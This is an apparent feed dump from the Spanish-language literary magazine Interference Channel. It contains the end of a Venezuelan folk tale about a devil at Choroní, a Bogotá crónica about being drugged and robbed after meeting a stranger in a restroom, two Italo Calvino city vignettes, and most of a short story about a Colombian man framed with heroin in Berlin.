Nos bebimos la botella y nos fumamos unos tabacos que le robamos a mi viejo, entre los efectos de tabaco junto al ron aparecido, algo nos llamó la atención, el ruido de la fiesta se apagó de súbito, no hubo más música de tambores, ni maracas, tampoco el bullicio, eso nos alertó, por un momento pensamos que eran los andinos que nos invadían como decían los amigos de mi papá, esos que volvieron de la guerra y se escondieron acá.

Nos escondimos tras las piedras del rio esperando los disparos y los gritos pero pasado un rato todo seguía en silencio, como los domingos por la tarde, salimos asustados de nuestro escondite a buscar el camino del pueblo, al final solo era un callejón el que nos separaba,  de la calle principal, al salir no vimos a nadie, puertas y ventanas estaban cerradas, era muy temprano para eso pues hasta el bar estaba cerrado como si fuera madrugada, caminamos por todo el pueblo y ni los perros estaban a la vista, nos asustamos y fuimos a la iglesia a hablar con el padre a ver si él nos podía decir que pasaba, cuál era la razón para esa desolación.

Al cura lo encontramos desmayado una cuadra antes de llegar a la iglesia, tenía su sotana de dar misa, estaba mojado de la cintura para abajo, el olor nos explicó que se había orinado, después supimos por qué, a pesar del miedo, la curiosidad fue más y llegamos hasta la iglesia donde vimos con estupor como un “diablo” al que no conocíamos, gritaba desde la puerta en un idioma (que tampoco supimos jamás que era), le gritaba algo a alguien dentro de la capilla, nunca nos asomamos, pero vimos por un segundo cuando se quitó la máscara, tenía ojos de candela, de su nariz salía humo y de su boca se adivinaba un resplandor como el de la fogata cuando se vuelve carbón, volteo a vernos y se sonrió de modo maligno que aún me da susto, Pancho se orino,  desmayándose en el sitio, yo corrí hasta llegar a mi casa y me escondí bajo el catre de donde mi mamá me sacó al día siguiente pues me descubrió por los gritos de terror de mis pesadillas.

Durante mucho tiempo no fui al pueblo, Pancho se apagó  pues tampoco queríamos jugar más, nos espantaba aun lo que habíamos visto pero de lo que no hablábamos, hasta que mi viejo, ya harto de todo nos amenazó correa en mano a salir y ayudar en las cosas de la familia, aunque las pesadillas todavía nos atormentaban.

Años después mi amigo Pancho se fue a la capital a estudiar en un seminario, había decidido ser cura para entender que habíamos visto, yo conocí a mi difunta esposa y fundé mi familia.

Una tarde de sábado, el padre Nicanor, a quien no veía desde la noche aquella donde lo encontramos orinado y desmayado en plena calle vino a mi casa, estábamos celebrando el nacimiento de mi primer hijo que dios guarde en su gloria, ese se mató hace más de cuarenta años, cuando apenas cumplía diecinueve, una noche con unas turistas canadienses que se enamoraron de él y entre rones y música se desbarrancaron en la regresiva del diablo, las catiras se las traían y mi hijo que tampoco era un santo pues se dejó hacer, pero bueno, volvamos al cuento.

El padre Nicanor se apareció sin ser invitado, después de esa noche de San Juan, su curía lo mandó de reposo a su casa por algunos años, era Gallego, había llegado en barco el mismo año que los colonos alemanes aquellos que luego fundaron su pueblo en las montañas, se hizo amigo del viejo cura de aquellos tiempos y no sabemos cómo o de que se valió para quedarse como párroco del pueblo. Al entrar en mi casa me buscó y nos fuimos al patio con unos tragos en la mano, luego de contarme que apenas hacia una semana que había vuelto a Venezuela en un barco de inmigrantes portugueses, que su vuelta solo la había hecho para contarme lo que había pasado ese día pues se quería morir con la conciencia tranquila y esperaba por supuesto hacerlo en su amada Galicia natal, hartándose de jamón, bacalao y vino sin hacerle mucho caso al médico que se empeñaba en hacerlo comer sano, aun cuando, a sus años lo que le quedaba era morirse para realmente ser feliz.

Me dijo que el asunto comenzó a media tarde, los diablos habían vuelo para postrarse ante la imagen del santísimo, el viejo González, quien para la época era el capataz de los diablos, estaba contando su cofradía cuando se dio cuenta que había uno de más, se persignó y muy asustado se lo contó al párroco, quien incrédulo, le pidió que se dejara de pendejadas que fuese hombre carajo, junto al altar del “Santisimo Sacramento” puso la imagen del niño santo para hacerle ver al anciano que no pasaba nada, cuando le tocó el turno de rendirse al “Diablo” desconocido, este le sacó la lengua al altar y se negó a postrarse, cuando el cura lo regañó, este lo miró con ojos de candela, el susto fue tan espantoso que el cura corrió calle abajo, hasta caer donde lo encontramos, todo el pueblo desapareció en desbandada, el pobre capataz murió de un infarto, nadie supo que más había pasado hasta que yo le conté lo que había visto.

Nos quedamos en silencio, hasta que yo le pregunté por cual razón si el pueblo había sido testigo del hecho nade sabía nada, intervino el nieto quien desde su formación como docente me dijo que nadie en su sano juicio creería tal historia de pueblo, por tanto el pueblo mismo decidió jamás contar la historia a ningún extraño, sin embargo conmigo hicieron la excepción porque he sido el único que ha preguntado por cual razón San Juan apunta hacia el suelo y no al cielo, al final lo que importa es que San Juan bajó su dedo una noche de Diablos y así ha quedado por el resto de la eternidad, con su secreto oculto a simple vista.

Así me lo contó el viejo  Crisóstomo Pacheco hace más de veinte años, todos los pueblos tienen historias secretas, en este caso tuve el placer de conocer al único testigo vivo, si es cierto o no, es materia de otra discusión, lo único cierto es que el San Juan de Choroní tiene el dedo índice apuntando al suelo y no al cielo, supongo que fue la última orden que le dio a aquel Diablo antes de volver a petrificarse en su altar.♦

 

*José Ramón Briceño hace parte del staff editorial de Interference Channel desde el 2014.

@jbdwancomeback

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El morador del orinal. http://interferencechannel.com/2015/02/03/el-morador-del-orinal/ Tue, 03 Feb 2015 14:26:46 +0000 http://www.interferencechannel.com/?p=675 + Read More]]> Por Sebastián Theus

Los baños públicos son mundos viscosos empapados de los más diversos vahos expelidos por el cuerpo humano; Los baños para varones, por ejemplo, no solo huelen a excreciones, apestan también a testosterona: hombres semidesnudos unos junto a otros, miradas esquivas que inquietan, manos que agarran falos y roce de dedos sobre nalgas, logran tensionar el ambiente y dispersan imaginarios sobre nuestra virilidad: diferencias en tamaños, competencia de músculos, despliegue de fuerza y juegos eróticos tras las puertas cerradas. De este escenario oloroso donde el excremento vincula el asco al placer, las gotas de lluvia dorada a eyaculaciones y la desnudez con tentaciones carnales, no por vedadas menos satisfactorias, buscamos escapar pronto; la evacuación de nuestros residuos nos humilla y las abluciones parecen pretender despejar el alma de los desmanes de la carne. Nos sentimos vulnerables. Los baños públicos son lugares de tránsito, nadie vive en ellos. Pero un día de enero, al recordar los sucesos de una tarde de jueves de diciembre pasado, comencé a sospechar que en estos espacios húmedos por las secreciones corporales habitan seres humanos; caminantes de un microcosmos que esconden entre los cubículos mate,algo más que los deseos de la pureza.

Languidecía el mediodía. En ese jueves, iluminado por la alegría de la llegada de un niño en oriente, después del almuerzo mis pies se dirigieron a un baño, ubicado en el segundo nivel, de un centro comercial del barrio donde resido: Niza. Mientras confirmaba a mi interlocutor al celular la consignación de mi sueldo, orinaba con placer. Me devolví de los orinales a los lavabos, deposité sobre el mesón la novela que traía en mis manos y me dispuse a dejar que el agua corriera entre mis dedos. Un hombre joven, ropa deportiva, maletín terciado, caminó desde los sanitarios, se detuvo en el lavamanos contiguo al mío y fijó su atención en el libro. Me percaté de su curiosidad lectora reflejada en el espejo, cruzamos miradas, intercambiamos un saludo. “leer es un ritual”- me dijo señalando el libro-, y esa frase logró despertar mi interés. Hablamos sobre letras, autores y poesía; le comenté de mi oficio de librero; algunas personas entraron, salieron. De repente extrajo de su morral unos papeles y dijo: “Son poemas míos- los desplego frente a mi cara invitando a leerlos- y continuó: “A mí me gustan- su tono de voz bajó-, pero no sé.” Me acerqué a ellos y el silencio reinó por mi cerebro desde ese momento y por un buen par de minutos. En mi mente hay momentos de lucidez de las siguientes dos horas: la salida del centro comercial abrazado a otra persona, un corto viaje en taxi y un avanzar por entre malezas con mi cara tapada por una camiseta negra. La presión de una pistola sobre mi estomago que me obligó a desnudarme y tenderme en el piso sobre cientos de ramas que me laceraron e hicieron sangrar. Mis manos atadas. Un cuerpo sentado encima del mío, que con gritos, anunciaba otra serie de vejámenes si no daba con seguridad la clave de las tarjetas del banco. El pánico por una posible violación. El miedo a una muerte degradante y dolorosa. De pronto un ruido de botas se sintió acercarse y, quizá, por la posibilidad de una ronda policial intempestiva mi agresor decidió huir. Los minutos transcurrieron y mis salvadores jamás aparecieron; decidí, entonces, despejada un poco la cabeza, desamarrarme y quitar la venda de mis ojos: divisé mi ropa sobre las ramas de los árboles, me vestí y salí del lugar que ya distinguía como el humedal Córdoba. Avergonzado y derrotado caminé rumbo a mi casa.

Las semanas pasaron, todo se olvida. Ya en enero la confianza había retornado a m vida. Una mañana tratando de escapar a las innumerables gotas que se precipitaban desenfrenadas sobre mi cabeza, busqué resguardo en un supermercado situado a un costado de la Autopista Norte. Mi ropa había absorbido el agua, tirité y sentí las ganas de orinar. De nuevo en un baño público, sumergido en ese placer orgásmico, mi mirada se posó en los letreros escritos que adornaban la pared de mi cubículo metálico. Los leí todos. Me sorprendí de los tantos minutos pasados entretenido en los avisos y la figura de mi atracador decembrino se dibujó en mi mente. ¿Cómo es la vida de un hombre dentro de un baño aguardando por horas a que caiga un incauto, como yo, en su trampa? No tengo respuesta. Siento curiosidad. Resuelvo iniciar, entonces, un recorrido por diferentes baños de la ciudad que me permita imaginar una existencia diaria entre muros que contienen restos de otras vidas.

Afuera el gris se paseaba por la sabana estremecida por los susurros del viento. Avancé entre los charcos de inmundicias y paré en diversos puntos de la ciudad: Unicentro, la Zona Rosa, la calle 72, Chapinero y la Primero de Mayo. Visité universidades, cafetines y restaurantes. En algunos baños tuve miedo: unos ojos espiaron a través de la rendija de una puerta mi miembro desgonzado sobre un orinal. En otros, abrí todas las puertas, revisé los avisos, escudriñé a la gente; me senté por minutos en los retretes, dejé escapar el agua y devuelta a los orinales. Algunos hombres no denotaban sorpresa de verme ingresar a cada uno de los cuartos de baños y uno, incluso, me persiguió por varios pasillos luego de salir. Me le escabullí. Comprobé, que sin importar estrato o barrio, en todos aparecen los letreros dejados en puertas, marcos, cerámicas y hasta el techo: ideas sobre política, guerra, filosofía, religión y futbol; pero sobre todo abundan los de temática sexual: maneras, tamaños, poses y aberraciones. ¡Y el olor! El vaho putrefacto se filtra por entre los pisos relucientes y el amoniaco aromatizado que trata de eliminarlo lo persigue a uno más allá de la puerta de salida. ¡El hedor serpentea por todas partes! Ningún hueco es virgen a la fetidez, a los gemidos, a los ruidos, a los lamentos. Visualicé a mi agresor entrar sonriente y buscar entablar conversaciones con desconocidos que caminan de lado, rehúsan mirar, sellan sus labios: tratan de no oler o sentir; seres que tres o cinco minutos después de ingresar, corren a encontrar sus vidas habituales lejos de un lugar donde reinan los desperdicios y otras intenciones de nuestros cuerpos, mientras él queda confinado a seguir en este mundo de orines estancados en pequeñas cantidades en las esquinas, y sofocado por la pestilencia de tantos jirones de excrementos secos y gotas de liquido seminal esparcidos en trozos de papel higiénico.

Emprendo el regreso a casa. Sobre el firmamento la belleza se despierta: aparece la luz del sol, las estelas plomizas ceden su paso al blanco algodón. Hombres, mujeres, pasan a mi lado ensimismados en sus celulares, no me miran-¿Por qué habrían de hacerlo?- Soy otro más en un cruce de vías. Lejos de la pestilencia del baño compruebo que afuera también se está solo. No se habla con desconocidos en las calles, ellos también pueden herir. Sigo, avanzo. Dentro de esta realidad fría de una ciudad que solloza de continuo un hombre eligió-¿Por gusto? ¿Por necesidad? ¿Mala suerte?- vivir, convivir, entre orinales y retretes; bajo esa niebla de moho que todo lo corroe conversé con él. Sus frases denotaban estudio, discusión y cortesía: el arte de la conversación. Sus acciones reflejaron el cinismo, la frialdad, la violencia. ¿Cuál es la verdadera cara de este pequeño monstruo que ha parido la capital? Nunca lo sabré. El manto nocturno comienza a cubrir la ciudad. Bogotá está tocada de hechizo: entre los cientos de millones que corren buscando ese refugio limpio llamado hogar, un hombre habita entre techos de nubes turbias donde brotan lagrimas, orín y mierda: ¡ el morador del orinal!.♦

*William Alberto Salazar hace parte del staff editorial de Interference Channel desde el 2014. Este relato tuvo mención de honor en el primer concurso nacional de crónica Festival  del libro de Bogotá.

calumnista

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Zirma, Italo Calvino http://interferencechannel.com/2014/10/21/zirma-italo-calvino/ Tue, 21 Oct 2014 12:04:07 +0000 http://www.interferencechannel.com/?p=576 + Read More]]>

De la ciudad de Zirma los viajeros vuelven con recuerdos bien claros: un negro ciego que grita en la multitud, un loco que se asoma por la cornisa de un rascacielos, una muchacha que pasea con un puma sujeto con una traílla. En realidad muchos de los ciegos que golpean con el bastón el empedrado de Zirma son negros, en todos los rascacielos hay alguien que se vuelve loco, todos los locos se pasan horas en las cornisas, no hay puma que no sea criado por un capricho de muchacha. La ciudad es redundante: se repite para que algo llegue a fijarse en la mente.

Vuelvo también yo de Zirma: mi recuerdo comprende dirigibles que vuelan en todos los sentidos a la altura de las ventanas, calles de tiendas donde se dibujan tatuajes en la piel de los marineros, trenes subterráneos atestados de mujeres obesas que se sofocan. Los compañeros que estaban conmigo en el viaje, en cambio, juran que vieron un solo dirigible suspendido entre las agujas de la ciudad, un solo tatuador que disponía sobre su mesa agujas y tintas y dibujos perforados, una sola mujer gorda apantallándose en la plataforma de un vagón. La memoria esredundante: repite los signos para que la ciudad empiece a existir.♦

*Italo Calvino

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Dorotea. Italo Calvino http://interferencechannel.com/2014/10/19/dorotea-italo-calvino/ Sun, 19 Oct 2014 05:47:29 +0000 http://www.interferencechannel.com/?p=566 + Read More]]>

De la ciudad de Dorotea se puede hablar de dos maneras: decir que cuatro torres de aluminio se elevan desde sus murallas flanqueando siete puertas del puente levadizo de resorte que franquea el foso cuya agua alimenta cuatro verdes canales que atraviesan la ciudad y la dividen en nueve barrios, cada uno de trescientas casas y setecientas chimeneas; y teniendo en cuenta que las muchachas casaderas de cada barrio se enmaridan con jóvenes de otros barrios y sus familias se intercambian las mercancías de las que cada una tiene la exclusividad: bergamotas, huevas de esturión, astrolabios, amatistas, hacer círculos a base de estos datos hasta saber todo lo que se quiera de la ciudad en el pasado el presente el futuro; o bien decir como el camellero que me condujo allí: “Llegué en la primera juventud, una mañana, mucha gente caminaba rápida por las calles hacia el mercado, las mujeres tenían hermosos dientes y miraban derecho a los ojos, tres soldados sobre una tarima tocaban el clarín, todo alrededor giraban ruedas y ondulaban papeles coloreados. Hasta entonces yo sólo había conocido el desierto y las rutas de las caravanas. Aquella mañana en Dorotea sentí que no había bien que no pudiera esperar de la vida. En los años siguientes mis ojos volvieron a contemplar las extensiones del desierto y las rutas de las caravanas, pero ahora sé que este es solo uno de los tantos caminos que se me abrían aquella mañana en Dorotea”.♦

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LA PLUMA INGLESA http://interferencechannel.com/2014/09/28/la-pluma-inglesa/ Sun, 28 Sep 2014 17:16:09 +0000 http://www.interferencechannel.com/?p=486 + Read More]]> Lo hizo penetrar en el laberinto, donde vagó afrentado y confundido hasta la declinación de la tarde.

BORGES

I

Me pregunté si Carrizosa tenía la grandeza de Hitler o si Hitler, la mezquindad de Carrizosa. Hasta hacía apenas un momento, aquel sujeto de melena blanca, mirada amarga y labios en eterna furia, se había metamorfoseado para deslumbrarme con su erudición acerca de la civilización francesa. Había estado hablando como si fuera muchos, alternando la exactitud del tratadista, la dignidad del general, la altivez del sibarita y la nostalgia del navegante curtido de sal, sol y tempestades. Pero ahora, en mis afectos, Adolfo Carrizosa yacía envilecido no sé si por la borrachera que lo tendía en el sofá o por la fotografía colgada en el corredor, cerca del baño, y en la que la Torre Eiffel servía de fondo al artificio de su pose. ¿Qué necesidad tenía de aquel tipo de estandartes? ¿Quería acaso, como Hitler, sintetizar con tal imagen el dominio que tenía sobre Europa? Y al hacerlo, ¿no incurría, como aquél, en las veleidades de cualquier turista? No me fue difícil concluir que lo que reducía a Carrizosa no era que rugiera enrojecido en los vapores del alcohol, pues incluso al ebrio lo envuelven sus hazañas: también Hitler rugía en la embriaguez de sus multitudes en Berlín, pero indiscutiblemente lucía más airoso que el 23 de junio de 1940, cuando posó, entre Breker y Speer, delante de la Torre. En suma, fue aquella fotografía, la frivolidad, la insensatez, la inexplicable falsedad de tal fotografía lo que desdibujó la imagen que de Adolfo Carrizosa había esculpido a raíz de dos eventos memorables.

II

 El primero ocurrió seis meses antes. La víspera, Isabel Barrera me llamó para invitarme a cenar en su apartamento. Acababa de pasar una temporada en Inglaterra y -visitar lugares míticos es perder cierta clase de virginidad- pensé que ella, como todos, querría pregonarlo. Aunque anhelaba verla, supe que el encuentro sería desagradable.

Tiempo atrás la había amado sin fortuna, así que el viaje, como otros de sus logros, había causado en mí un dolor próximo a los celos. Además, yo no sería el único invitado: irían algunos conocidos, entre ellos, Adolfo Carrizosa, el odioso Adolfo, que quizás también fustigado por un amor inútil, me dirigía una velada hostilidad. Pese a tales fatigas, no pude decir no a Isabel Barrera, pues además de desairarla, habría evidenciado ante todos mi despecho.

El sábado, llegué puntual. Al verla, al estrecharla y al reencontrarme en su mirada, sentí un helado desamparo, la certeza de que nos había dejado el tiempo, la angustia de que sus treinta años no animarían los cuarenta míos. Para colmo, tras un año de ausencia, tenía la esbeltez, la luminosa picardía, la feliz sensualidad de siempre, pero un afortunado corte de pelo, unas muy propicias prendas y el clima londinense obstinándose en sus poros exacerbaban su belleza, tornándomela no sé si más lejana o propia.

Luego, al verla recibir a Carrizosa con la ternura que no tuvo para mí, pasé de la tristeza al odio. Más aún, quise que algo la desdibujara, que alguna ostentación o algún signo afectado la revelara como la turista típica, como la burguesa esnob. Esperé, por ejemplo, la abrumadora ráfaga de fotos con el Palacio de Buckingham, la Torre, la Rueda y el Puente de Londres como fondo de su vanidad. Para mi pesar, pero también para mi gusto, cuando le preguntaron qué tal Inglaterra, se limitó al esquema de sus itinerarios, se abstuvo de anécdotas de engreimiento y prescindiendo casi de adjetivos, dio sobre el país una apreciación tan exacta como original, tan genérica como incontrovertible.

El gasto, pues, corrió por cuenta de otros. Como dije, visitar lugares míticos es como una iniciación y recibir al iniciado es un ritual en el que los asistentes adoptan variedad de roles. Mauricio y Laura, que nunca habían salido del país, denostaron del esplendor de las ciudades europeas, atribuyéndolo a la explotación de pueblos como el nuestro. Silvia y Diego que habían estudiado en Londres, asaltaron a Isabel con preguntas acerca de lugares de los que se jactaron, aunque con sus mesadas es dudoso que pudiesen conocer. Martín que, en cambio, veía el mundo desde primera clase, hizo preguntas similares para oponer a las respuestas su guía inasequible para la inmensa mayoría de viajeros. Alberto confesó que no conocía Londres, pero desvió la charla primero a Barcelona y luego hacia París de las que habló con propiedad, olvidando que no era él sino Isabel a quien le dábamos la bienvenida. Quizás porque a mi tiempo fui como los otros, acaso porque a mis regresos soporté idénticas soberbias o tal vez porque como dije, odiaba y deseaba a Isabel, me limité a escuchar a los demás, a cruzar miradas de complicidad con ella y a objetar a quienes desestimaban los alcances de su viaje.

Volví a mi soledad más tarde y contento de lo que había supuesto. Salvo ciertos pasajes irritantes, el encuentro tuvo imágenes inolvidables: las miradas que Isabel y yo cruzamos; el acuerdo tácito de volver a vernos; su belleza, su progreso, su prudencia; la alegría de estar con gentes imaginativas, la utopía de realizar con ellas un viaje a Estambul, en fin… De pronto, al apreciar la hermosa pluma que Isabel me había traído, reparé en algo extraño: Adolfo Carrizosa, el odioso Adolfo, no intervino en aquello que pareció una reunión de cancilleres. Por un instante, pensé que lo plácido de la velada obedeció a aquel silencio, pero enseguida tal silencio desgajó una lluvia de preguntas: ¿por qué Carrizosa no intervino? ¿Por qué calló cuando bien pudo lucirse? ¿Por qué negó los cinco años que, según tenía entendido, había estado en Europa? Como fuere, aquella discreción, aquel silencio noble, bastó para ganar de mí el respeto que con la magistral muestra de anoche fue fascinación.

III

Un fuerte aguacero castigaba el Park Way haciendo temblar el brillante verde de sus frondas. Yo, que venía de la universidad, corrí hacia un bar en busca de calor, pero al girar la puerta, pensé seguir de largo, pues a través del vidrio vi que Carrizosa bebía y fumaba desolado. Al verme, no tuve más remedio que ir directo a él que poniéndose de pie, me invitó a tomar asiento. Mientras yo le ordenaba a la mesera, él notó el libro de Borges que la lluvia había empapado y luego, como para obviar mi antipatía, preguntó por mis relatos predilectos. Yo intenté una lista y al mencionar Los dos reyes y los dos laberintos, él se iluminó diciendo:

-Ese relato me escarnece, ¿sabe?

-¿En serio? -pregunté con interés.

-Yo viví algo parecido -dijo-. Y a propósito, la noche que cenamos en casa de Isabel, noté algo entre ustedes. ¿Ha vuelto hablar con ella? ¿La ha seguido viendo?

-Si usted fuera yo -dije molesto-, ¿me respondería?

-No me tome a mal -dijo impasible-. Pero en cualquier caso, hay algo que usted debe saber…

Se contuvo. Martín Arciniegas, el mismo Martín de quien ya dije que viajaba siempre en primera clase, había entrado y se acercaba a nuestra mesa con una sonrisa de efusión. Sin que lo invitáramos, tomó asiento, observó nuestros vasos y aplaudió que estuviésemos bebiendo whisky, porque así podía invitar una botella para celebrar que en dos días viajaría a Francia. Adolfo y yo asentimos; él quizás contagiado de entusiasmo; yo, porque tocado por la intriga, no me iría sin zanjar lo de Isabel.

Desde luego, tras chocar los vasos, París fue el tema de conversación. Arciniegas, editor de lujosos libros de diseño, alardeó diciendo que era su enésimo viaje a la capital francesa, que conocía la ciudad como la palma de su mano y que si alguna vez teníamos ocasión de coincidir, nos la mostraría en su compleja plenitud. Sin embargo, hacia la media noche y con la segunda botella, vi que lamentaba haberse encontrado con nosotros. Para entonces, Carrizosa hablaba con tal exactitud del Louvre, que Arciniegas, como el maestro amenazado por su alumno, acabó atacándolo con preguntas acerca de obras de las que Carrizosa dio cuenta diciendo en qué salones, en qué costados y en relación con qué otras se hallaban exhibidas.

-Eso lo sabe todo el mundo -dijo ardido el editor-. Pero hablemos de algunas menos populares. A ver, La maison bleue, ¿en qué salón se exhibe?

-No seas ruin -le dijo Adolfo-. Todos sabemos que La maison bleue, de Marc Chagall pertenece al Museo de la Villa de Lieja…

Con la sumisión de un perro, Arciniegas bajó la vista. Pero resuelto a posar de hombre de mundo, comenzó a hablar de restaurantes exclusivos. Para mi solaz, Carrizosa le soltó una lista de lugares de los que precisó ubicación, horarios, decoración, propietarios, cartas de vinos y especialidades.

-Ahora, que si quieres -remató displicente- el mejor magret de canard, debes ir al Dôme du Marais, en la Rue des Francs Bourgeois.

Arciniegas tosió y volteó la cara con el pretexto de ordenar otra botella. Hacia las dos, y en su lance final de vanidad, comenzó a hablar en francés sobre la construcción de Notre Dame. Diez frases después, debió callarse. También en francés, Carrizosa le corrigió una imprecisión y siguió hablando ya no de las rutas turísticas o de las que trazaron escritores, pintores y filósofos, sino de las siniestras, las sórdidas, las propias de albañiles, verduleras, fontaneros…

-Il y a des histoires qui sont seulement connues verbalement.

Hacia las tres, Arciniegas pagó la cuenta y se marchó dejándonos a Carrizosa con el sabor del triunfo y a mí, con el estupor de estar en compañía de un savant. En efecto, tras otras dos botellas, esta vez en la espaciosa sala de su casa, siguió hablando de Miterrand y su sociedad secreta, hasta el amanecer, cuando se desplomó, dejándome también ebrio, aunque no tanto como para no advertir, camino al baño, entre retablos y acuarelas, la fotografía en octavo que al recordarme la de Hitler fracturó mi encantamiento.

IV

Desperté al medio día con un sabor de rabia. Mi anfitrión me invitaba al comedor de la cocina y lucía rasurado, vestido y sin trazas de la borrachera. Luego de ir a echarme agua y componer mi aspecto, vi el humor del hombre que silbaba y canturreaba a tiempo que terminaba de servir la mesa. Aunque me reproché haber dormido en su casa, me alegró contar aún con la ocasión de aclarar lo de Isabel, así que mientras desayunábamos, comencé por hacer bromas de la furia de Arciniegas.

-Es un fantoche -dijo-. Aunque nunca debí permitirme tal soberbia.

Le noté un asomo de culpa, algo parecido a la humildad, pero que en el fondo era vergüenza. En lo personal, me encantó que hubiera puesto en su lugar al engreído, que le recordara que siempre hay quien puede dar una lección, pero ahora era mi turno, Carrizosa y yo teníamos asuntos en suspenso, él tenía verdades que decirme y a mí no me embaucaría. Por fin, le dije:

-Usted jamás viajó a París. Usted no la conoce.

-¿Por qué lo dice? -preguntó apenas sorprendido.

-Por la fotografía del corredor. Es un montaje.

-Es buen observador -dijo. Luego, como buscando mi complicidad, se ufanó palmeándome la espalda:

-¡Pero no me diga que no lo convencí!

-¿A Martín?

-¡Y también a usted! -dijo echándose a reír.

-Así es -acepté-. Y ahora dígame: ¿cómo sabe tanto?

-Obstinación -dijo en un largo suspiro.

Inició entonces el relato que resumo: diez años antes, cuando tenía cuarenta, decidió cambiar de vida. Padecía un matrimonio de apariencia, dos hijas igual de aburridas a la madre, un empleo sin futuro y una herencia en sucesión. Herido desde su juventud por Hemingway, Miller y Cortázar, le arguyó a su esposa que viajaría a París donde se entregaría a la escritura. Ella le firmó con dignidad los papeles del divorcio, pero le sentenció: «Te acordarás de mí: jamás pondrás un pie en Europa».

Tan pronto como estuvo libre, Carrizosa comenzó a estudiar francés, aunque a la semana, una muchacha de apenas veinte años, caótica y preciosa, lo incitó a un paraíso, cuyas auroras los veían drogarse y propinarse sexo hasta caer exhaustos. Pero de los sabores de ese paraíso, el tedio surgió para infectarlos. Necesitado de aire, volvió a las clases de francés y trató de hacer nuevos amigos, aunque a un costo lamentable: no menos aburrida y con él a la caza de aventuras, la muchacha comenzó a salir a fiestas, bares y paseos de los que volvía haciendo burla de sus furias.

Y fue en tales ascuas que Adolfo Carrizosa alzó su infierno: un día de agosto, alguien le presentó al alemán Klaus Wagenbach, el estudiante de dibujo que estaría un mes en Bogotá y que además de alojamiento, necesitaba alguien que lo guiara. Con sus bienes en litigio, Carrizosa aceptó la cifra en euros y por tres días fue un anfitrión irreprochable: alojó al muchacho, le abarrotó de víveres nevera y alacenas, lo llevó a conocer La Candelaria y le tomó fotografías en la Plaza de Bolívar. Wagenbach era inteligente, generoso, tenía sentido del humor y hablaba inglés fluido, pero su encanto hizo que la inquieta amante usara los signos de su generación para atraerlo: música, moda, videojuegos y otras referencias de las que Carrizosa quedaba dolorosamente al margen.

Así, pues, si salían los tres, había el riesgo de que la muchacha se siguiera acercando al alemán y si la dejaba en casa, había el riesgo de que saliera a buscar diversión con sus amigos. Ciego por los celos, Carrizosa eligió la infamia: se fue con ella a Cartagena diciéndole que Wagenbach le había pedido quedarse solo en el estudio y dejó a Wagenbach solo en el estudio diciéndole que un asunto urgente lo tendría fuera un par de días. Al regresar, pasado un mes, no vio razones para disculparse: el alemán no expresó quejas ni rencor, celebró que hubiera resuelto sus problemas, aseguró que había disfrutado la ciudad y que, por lo mismo, lamentaba tener que irse al día siguiente. Semanas más tarde, cuando el adiós de su insaciable amante lo hundía en el horror, Carrizosa aceptó por confidente a Wagenbach, quien habiéndose obstinado en sostener correspondencia y enterado de sus aspiraciones, le sugirió ir a Alemania donde le ayudaría a instalarse. Y fue así, como a mediados de diciembre, Carrizosa hizo mofa de la maldición de su ex mujer: aterrizaba en Berlín-Tegel y pronto recibiría la herencia que le permitiría trasladarse a Francia. Para solaz de su optimismo, tras recorrer cien kilómetros de autopista por un paisaje blanco, Wagenbach lo llevó a su casa, donde apenas se encendió la luz, estalló la fiesta por cuenta de las cinco rusas que desinhibidas, liquidaron el frío que le atería el alma y mitigaron el invierno que le hería los huesos. Pero a la mañana siguiente, Carrizosa despertó viéndose angustiosamente solo; salió a husmear en derredor y no vio más que un vasto campo cubierto por la nieve; caminó hasta dar a la autopista de tráfico veloz e indiferente y se sintió perplejo ante el enigma de unas señales en alemán que surgían de la niebla. Escarchado e íngrimo, regresó a la casa diciéndose que la calefacción, víveres y bebidas le permitirían pagar el abandono al que había expuesto a Wagenbach. Sin embargo, otro era el ajuste: casi enseguida, la policía llegó a exigir su pasaporte y tras registrar la casa, halló en su equipaje un bien plantado kilo de heroína.

V

-No voy a abrumarlo contándole lo que fueron mis tres años preso en Berlín. Solo le diré que el día que me deportaron y llegué a la Cárcel Modelo en Bogotá, fue el más feliz de mi existencia. Y vea usted, al despegar el vuelo de regreso, el guardia encargado de entregarme a las autoridades colombianas, me pasó esta carta sin firma y cautelosamente escrita en español. Por favor, léala:

Adolfo:

Toda ciudad es un laberinto. Toda persona es guía para quien visita su ciudad. Si los guías son amables, la ciudad lo es y así quedará en la mente del viajero. Bogotá, Adolfo, es una ciudad maravillosa, pero en vez de guiarme en ella, me expusiste a criminales que la convirtieron en mi cárcel, en mi hospital, casi en mi tumba. Desde luego, no es tu culpa que tu ciudad sea insegura y no es mi culpa que la mía sea inflexible. Pero al no importarte abandonarme en Bogotá, ¿por qué debía importarme abandonarte en Alemania? Conclusión, Adolfo: yo no vi los Andes, tú no verás los Alpes; yo no subí a Monserrate, tú no subirás a la Torre Eiffel; tú me cerraste Bogotá, ahora y legalmente por siempre yo te cierro Europa.

-¿Entiende ahora por qué el cuento de Borges me escarnece?

-Hay mujeres -dije- con las que uno jamás debería cruzarse.

-Tiene razón -dijo-. Más que la venganza de Wagenbach, me atormenta la maldición de mi ex mujer que como ve, he podido conjurar.

-¿Y cómo? -dije irónico-. ¿Estudiando todo acerca de París?

-Más que eso -dijo ardido. Luego, recobrándose, me invitó a seguirlo:

-Abajo hay algo que le va a gustar.

Le vi un vacío brillante en la mirada que me produjo miedo. En el sótano, admitió que Internet le había sido útil, pero para aclarar que había dispuesto de otras fuentes, avanzó señalándome a uno y otro lado del largo corredor los estantes de libros, revistas, catálogos, mapas y videos de los que obtenía información sobre cada plaza, sobre cada calle, sobre cada actividad de las capitales europeas. Al final, abrió una puerta, la cerró tras de nosotros y se apartó de mí dejándome a oscuras y con la impresión, según la resonancia de sus pasos, de estar en una amplísima bodega. Luego, apareció en una cabina como las de prensa en los estadios y activó un mecanismo que me arrojó al asombro: en un área de quizás cincuenta metros, al irse iluminando poco a poco una maqueta, comenzó a emerger entre las sombras una réplica de la Île de France tan minuciosa, tan detallada, tan completa y fiel que tuve la impresión de planear sobre la París real.

-A escala 1:2000 -dijo por micrófono desde la cabina.

-¡Maravilloso! -exclamé.

